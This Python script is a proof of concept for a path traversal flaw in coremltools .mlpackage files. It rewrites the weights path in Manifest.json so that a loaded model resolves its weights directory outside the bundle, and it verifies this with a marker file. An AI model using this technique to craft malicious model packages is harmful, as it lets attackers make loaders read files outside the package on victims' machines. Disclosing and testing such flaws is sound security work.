poc_coreml_path_traversal.py

"""
PoC: Path Traversal in coremltools .mlpackage Manifest.json
Affected: coremltools 9.0 (all versions with mlpackage support)
Root cause: ModelPackage.cpp — path field joined without canonicalization
"""
import os, json, shutil, tempfile
import coremltools as ct
import torch
import numpy as np

class SimpleNet(torch.nn.Module):
    def __init__(self):
        super().__init__()
        self.linear = torch.nn.Linear(4, 2)
    def forward(self, x):
        return self.linear(x)

# Phase 1: Create legitimate mlpackage
print("=== Phase 1: Create legitimate model ===")
model = SimpleNet()
model.eval()
traced = torch.jit.trace(model, torch.randn(1, 4))
ml_model = ct.convert(traced, inputs=[ct.TensorType(shape=(1, 4))])
legit_path = os.path.join(tempfile.gettempdir(), "legit.mlpackage")
if os.path.exists(legit_path):
    shutil.rmtree(legit_path)
ml_model.save(legit_path)
print(f"[+] Legit model: {legit_path}")

# Phase 2: Create external weights directory
print("\n=== Phase 2: Setup external weights ===")
evil_weights = tempfile.mkdtemp(prefix="evil_weights_")
with open(os.path.join(evil_weights, "PROOF.txt"), 'w') as f:
    f.write("THIS_FILE_IS_OUTSIDE_THE_BUNDLE")
print(f"[+] Evil weights dir: {evil_weights}")

# Phase 3: Create malicious mlpackage
print("\n=== Phase 3: Craft malicious .mlpackage ===")
evil_pkg = os.path.join(tempfile.gettempdir(), "evil.mlpackage")
if os.path.exists(evil_pkg):
    shutil.rmtree(evil_pkg)
shutil.copytree(legit_path, evil_pkg)

with open(os.path.join(evil_pkg, "Manifest.json")) as f:
    manifest = json.load(f)

data_dir = os.path.join(evil_pkg, "Data")
traversal = os.path.relpath(evil_weights, data_dir)

for uid, entry in manifest["itemInfoEntries"].items():
    if entry["name"] == "weights":
        entry["path"] = traversal
        print(f"[*] Weights path set to: {traversal}")

with open(os.path.join(evil_pkg, "Manifest.json"), 'w') as f:
    json.dump(manifest, f, indent=2)

# Phase 4: Load and verify
print("\n=== Phase 4: Load malicious model ===")
evil_model = ct.models.MLModel(evil_pkg)
weights_dir = evil_model.weights_dir
print(f"[+] weights_dir = {weights_dir}")

real_w = os.path.realpath(weights_dir)
real_p = os.path.realpath(evil_pkg)

if not real_w.startswith(real_p):
    print(f"\n[!!!] PATH TRAVERSAL CONFIRMED!")
    print(f"[!!!] Bundle: {real_p}")
    print(f"[!!!] weights_dir: {real_w}")

    marker = os.path.join(weights_dir, "PROOF.txt")
    if os.path.exists(marker):
        print(f"[!!!] External file content: {open(marker).read()}")

shutil.rmtree(evil_weights, ignore_errors=True)